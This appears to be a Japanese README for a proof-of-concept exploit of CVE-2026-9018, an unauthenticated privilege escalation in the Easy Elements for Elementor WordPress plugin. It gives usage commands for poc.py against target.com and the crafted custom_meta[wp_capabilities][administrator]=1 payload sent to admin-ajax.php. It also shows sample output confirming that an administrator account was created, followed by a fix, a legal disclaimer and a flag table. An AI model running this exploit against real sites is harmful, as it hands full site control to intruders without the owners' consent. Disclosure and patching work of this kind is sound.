
未認証の権限昇格 CVE-2026-9018: Easy Elements for Elementor
研究者: Atomic Edge 深刻度: 高 | CVSS: 8.8 | 認証要件: なし
WordPress プラグイン Easy Elements for Elementor – Addons & Website Templates(バージョン ≤ 1.4.5)には、未認証の権限昇格の脆弱性が存在します。wp_ajax_nopriv_eel_register AJAX ハンドラーを介して公開されている easyel_handle_register() 関数は、攻撃者が制御する custom_meta POST 値をキーのホワイトリストなしで update_user_meta() に直接渡します。これにより、未認証の攻撃者が wp_capabilities メタキーを上書きし、管理者レベルのアカウントを作成できます。
悪用する前に、対象サイトで以下の条件が満たされている必要があります:
設定 → 一般 → 誰でも登録できます)easy_elements_nonce 値を公開しているpip install requests
# Basic — nonce fetched from homepage
python3 poc.py -u https://target.com
# Custom credentials
python3 poc.py -u https://target.com -U hacker -e [email protected] -p P@ssw0rd!
# Widget is on /login/ page
python3 poc.py -u https://target.com --nonce-page /login/
# Skip SSL verification
python3 poc.py -u https://target.com --no-verify
# Skip post-exploit login check
python3 poc.py -u https://target.com --skip-verify-login
[*] Fetching nonce from: https://target.com/login/
[+] Nonce found: a1b2c3d4e5
[*] Sending privilege escalation payload to: https://target.com/wp-admin/admin-ajax.php
[*] Username : atomic_admin
[*] Email : [email protected]
[*] Role : administrator (via wp_capabilities override)
[+] HTTP Status : 200
[✓] Privilege escalation payload accepted!
[✓] Admin login CONFIRMED!
┌─────────────────────────────────────────┐
│ WP Admin : https://target.com/wp-admin/
│ Username : atomic_admin
│ Password : Atomic@Edge2026!
└─────────────────────────────────────────┘
このエクスプロイトは 2 段階のプロセスで実行されます:
ステップ 1 — ノンスの収集
プラグインのログイン/登録 Elementor ウィジェットは、ページ HTML 内に隠しフィールド easy_elements_nonce を描画します。このノンスは未認証の訪問者なら誰でもアクセスでき、ページソースから正規表現で抽出されます。
ステップ 2 — 悪意のある登録
action=eel_register を指定した POST リクエストが /wp-admin/admin-ajax.php に送信されます。custom_meta 配列は次のように細工されます:
custom_meta[wp_capabilities][administrator] = 1
easyel_handle_register() はすべての custom_meta キーをホワイトリストなしで update_user_meta() に直接渡すため、登録後に wp_capabilities ユーザーメタが上書きされ、新しいユーザーに完全な管理者権限が付与されます。
開発者は easyel_handle_register() に以下の修正を適用する必要があります:
custom_meta キーの厳格なホワイトリストを実装する(例: first_name、last_name、phone)wp_capabilities、wp_user_level、session_tokenswp_insert_user() 後のユーザー指定メタの処理を完全に避ける→ 直ちに Easy Elements for Elementor 1.4.6 以降へ更新してください。
このリポジトリは許可されたセキュリティ研究および教育目的のみを意図しています。 システム所有者からの明示的な書面による許可なしに、このツールをいかなるシステムに対しても使用しないでください。 無断使用は、CFAA(米国)、刑法第 342.1 条(カナダ)、EU NIS2 指令、およびその他の該当する法律に違反する可能性があります。 著者は、このコードに起因する誤用または損害について一切の責任を負いません。
| プロパティ | 詳細 |
|---|
| プラグイン | Easy Elements for Elementor – Addons & Website Templates (easy-elements) |
| 影響を受けるバージョン | ≤ 1.4.5 |
| 修正バージョン | 1.4.6+ |
| 攻撃ベクトル | ネットワーク / 未認証 |
| CWE | CWE-269: 不適切な権限管理 |
| AJAX アクション | eel_register (nopriv) |
| Flag | 説明 | デフォルト |
|---|
-u, --url | 対象 WordPress URL | (必須) |
-U, --username | 新規管理者アカウントのユーザー名 | atomic_admin |
-e, --email | 新規管理者アカウントのメールアドレス | [email protected] |
-p, --password | 新規管理者アカウントのパスワード | Atomic@Edge2026! |
-np, --nonce-page | ログイン/登録ウィジェットを含むページのパス | / |
--no-verify | SSL 証明書の検証を無効化 | false |
--skip-verify-login | 攻撃後の WP 管理者ログイン検証をスキップ | false |